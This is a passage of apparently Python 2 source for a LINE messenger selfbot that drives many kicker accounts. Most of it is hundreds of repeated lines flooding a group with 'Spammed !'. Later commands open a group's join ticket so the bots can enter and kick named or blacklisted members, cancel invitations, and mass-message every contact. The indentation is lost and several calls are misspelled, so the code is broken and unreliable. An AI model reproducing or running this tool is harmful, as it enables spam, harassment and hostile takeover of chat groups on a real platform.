ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"KAPOK TAK SPAM 🐶")
ki.sendText(g.mid,"KAPOK TAK SPAM 🐶")
ki2.sendText(g.mid,"KAPOK TAK SPAM 🐶")
ki3.sendText(g.mid,"KAPOK TAK SPAM 🐶")
cl.sendText(msg.to, "Done ✅")
print " Spammed !"
#-----------------------------------------------------------------
elif msg.text in ["Creator"]:
if msg.from_:
msg.contentType = 13
msg.contentMetadata = {'mid': 'ufc7b7bd9cf929f01d7d1c7c2f3719368'}
cl.sendMessage(msg)
msg.contentMetadata = {'mid': 'ua8174484291b3dcf35003ac4a4b7e58c'}
cl.sendMessage(msg)
msg.contentMetadata = {'mid': 'ucff516dccd288fcc2fc3276da914db36'}
cl.sendMessage(msg)
cl.sendText(msg.to,"INFO CREATOR\n╔════════════════════════\n╠Instagram: PC aja ya\n╠LINE: addtapigakpc\n╠WhatsApp: PC aja ya \n╠Nama: Hendrah Ary \n╚════════════════════════")
#-----------------------------------------------------------------
elif "Ulti " in msg.text:
if msg.from_ in admin:
ulti0 = msg.text.replace("Ulti ","")
ulti1 = ulti0.rstrip()
ulti2 = ulti1.replace("@","")
ulti3 = ulti2.rstrip()
_name = ulti3
gs = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
gs.preventJoinByTicket = False
cl.updateGroup(gs)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
ki2.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.2)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets ==[]:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
ki.kickoutFromGroup(msg.to,[target])
ki.leaveGroup(msg.to)
ki2.kickoutFromGroup(msg.to,[target])
ki2.leaveGroup(msg.to)
print (msg.to,[g.mid])
except:
ki.sendText(msg.t,"Ter ELIMINASI....")
ki.sendText(msg.to,"WOLES brooo....!!!")
ki.leaveGroup(msg.to)
gs = cl.getGroup(msg.to)
gs.preventJoinByTicket = True
cl.uldateGroup(gs)
gs.preventJoinByTicket(gs)
cl.updateGroup(gs)
#-----------------------------------------------------------------
elif msg.text == "Ginfo":
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
gCreator = ginfo.creator.displayName
except:
gCreator = "Error"
if wait["lang"] == "JP":
if ginfo.invitee is None:
sinvitee = "0"
else:
sinvitee = str(len(ginfo.invitee))
msg.contentType = 13
msg.contentMetadata = {'mid': ginfo.creator.mid}
if ginfo.preventJoinByTicket == True:
u = "close"
else:
u = "open"
cl.sendText(msg.to,">> GROUP NAME <<\n" + str(ginfo.name) + "\n\n>> GIT <<\n" + msg.to + "\n\n>> GROUP CREATOR <<\n" + gCreator + "\n\nPROFIL STATUS\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus + "\n\n•MEMBERS : " + str(len(ginfo.members)) + "•MEMBERS\n•PENDINGAN : " + sinvitee + " PEOPLE\n•URL : " + u + " IT IS INSIDE")
cl.sendMessage(msg)
else:
cl.sendText(msg.to,"[group name]\n" + str(ginfo.name) + "\n[gid]\n" + msg.to + "\n[group creator]\n" + gCreator + "\n[profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus)
#-----------------------------------------------------------
elif "Ban @" in msg.text:
if msg.toType == 2:
_name = msg.text.replace("Ban @","")
_nametarget = _name.rstrip()
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,_nametarget + " Not Found")
else:
for target in targets:
try:
wait["blacklist"][target] = True
cl.sendText(msg.to,_nametarget + " Hy")
except:
cl.sendText(msg.to,"Error")
#----------------------------------------------------------
elif "Unban @" in msg.text:
if msg.toType == 2:
_name = msg.text.replace("Unban @","")
_nametarget = _name.rstrip()
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,_nametarget + " Not Found")
else:
for target in targets:
try:
del wait["blacklist"][target]
cl.sendText(msg.to,_nametarget + " Hapus")
except:
cl.sendText(msg.to,_nametarget + " No Bl")
#-----------------------------------------------------------------
elif "Ban:" in msg.text:
nk0 = msg.text.replace("Ban:","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = cl.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,_name + "Cek Sider")
except:
cl.sendText(msg.to,"Error")
#-----------------------------------------------------------------
elif "Unban:" in msg.text:
nk0 = msg.text.replace("Unban:","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = cl.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,_name + " Hapus")
except:
cl.sendText(msg.to,_name + " No Bl")
#-----------------------------------------------------------
elif msg.text in ["Respon","absen"]:
ki.sendText(msg.to,"Hadir")
ki2.sendText(msg.to,"Hadir")
ki3.sendText(msg.to,"Hadir")
ki4.sendText(msg.to,"Hadir")
ki5.sendText(msg.to,"Hadir")
ki6.sendText(msg.to,"Hadir")
ki7.sendText(msg.to,"Hadir")
ki8.sendText(msg.to,"Hadir")
ki9.sendText(msg.to,"Hadir")
ki10.sendText(msg.to,"Hadir")
ki11.sendText(msg.to,"Hadir")
ki12.sendText(msg.to,"Hadir")
ki13.sendText(msg.to,"Hadir")
ki13.sendText(msg.to, "Lengkap Bos" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
#-----------------------------------------------------------speed
elif msg.text in ["Ban"]:
wait["wblacklist"] = True
cl.sendText(msg.to,"Send Contact")
#-----------------------------------------------------------------
elif msg.text in ["Unban"]:
wait["dblacklist"] = True
cl.sendText(msg.to,"Send Contact")
#-----------------------------------------------------------------
elif msg.text in ["Banlist"]:
if msg.from_ in admin:
if wait["blacklist"] == {}:
cl.sendText(msg.to,"nothing")
else:
cl.sendText(msg.to,"blacklist user list")
mc = "[⎈]Blacklist User[⎈]\n"
for mi_d in wait["blacklist"]:
mc += "[✗] " + cl.getContact(mi_d).displayName + " \n"
cl.sendText(msg.to, mc + "")
#-----------------------------------------------------------------
elif msg.text in ["Clear ban"]:
if msg.from_ in admin:
wait["blacklist"] = {}
cl.sendText(msg.to, " Clear " + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
elif "Pm cast " in msg.text:
if msg.from_ in owner:
bctxt = msg.text.replace("Pm cast ", "")
t = cl.getAllContactIds()
for manusia in t:
cl.sendText(manusia,(bctxt))
elif "Join group: " in msg.text:
ng = msg.text.replace("Join group: ","")
gid = cl.getGroupIdsJoined()
try:
if msg.from_ in Creator:
for i in gid:
h = cl.getGroup(i).name
if h == ng:
cl.inviteIntoGroup(i,[Creator])
cl.sendText(msg.to,"Success join to ["+ h +"] group")
else:
pass
else:
cl.sendText(msg.to,"Khusus Creator")
except Exception as e:
cl.sendMessage(msg.to, str(e))
#-------------------------------------------------------
elif "Gift @" in msg.text:
_name = msg.text.replace("Gift @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
msg.contentType = 9
msg.contentMetadata={'PRDID': '89131c1a-e549-4bd5-9e60-e24de0d2e252',
'PRDTYPE': 'THEME',
'MSGTPL': '10'}
msg.text = None
cl.sendMessage(msg,g)
#===========================================
elif msg.text in ["Comment:on"]:
if msg.from_ in admin:
if wait["commentOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done")
else:
cl.sendText(msg.to,"Already on")
else:
wait["commentOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done")
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Comment:off"]:
if msg.from_ in admin:
if wait["commentOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done")
else:
cl.sendText(msg.to,"Already off")
else:
wait["commentOn"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done")
else:
cl.sendText(msg.to,"Already off")
elif msg.text in ["Check comment"]:
if msg.from_ in admin:
cl.sendText(msg.to,"message comment\n\n" + str(wait["comment"]))
elif "Time" in msg.text:
if msg.from_ in admin:
cl.sendText(msg.to,datetime.today().strftime('%H:%M:%S'))
#-----------------------------------------------------------------
elif msg.text.lower() == 'kill':
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
ki.sendText(msg.to,"User blacklist does not have")
return
for jj in matched_list:
try:
random.choice(KAC).kickoutFromGroup(msg.to,[jj])
print (msg.to,[jj])
except:
pass
#-------------------------------------------------------------
elif msg.text.lower() == 'cancel':
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
cl.cancelGroupInvitation(msg.to,[_mid])
cl.sendText(msg.to,"I pretended to cancel and canceled")
#-----------------------------------------------------------------
elif "Spam album:" in msg.text:
try:
albumtags = msg.text.replace("Spam album:","")
gid = albumtags[:33]
name = albumtags.replace(albumtags[:34],"")
cl.createAlbum(gid,name)
cl.sendText(msg.to,"We created an album" + name)
except:
cl.sendText(msg.to,"Error")
#-----------------------------------------------
elif msg.text.lower() == 'in':
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki2.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki4.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki5.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki6.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki7.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki8.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki9.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki10.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki11.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki12.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
ki13.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.00)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
random.choice(KAC).updateGroup(G)
#-----------------------------------------------
elif msg.text.lower() == 'backup':
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
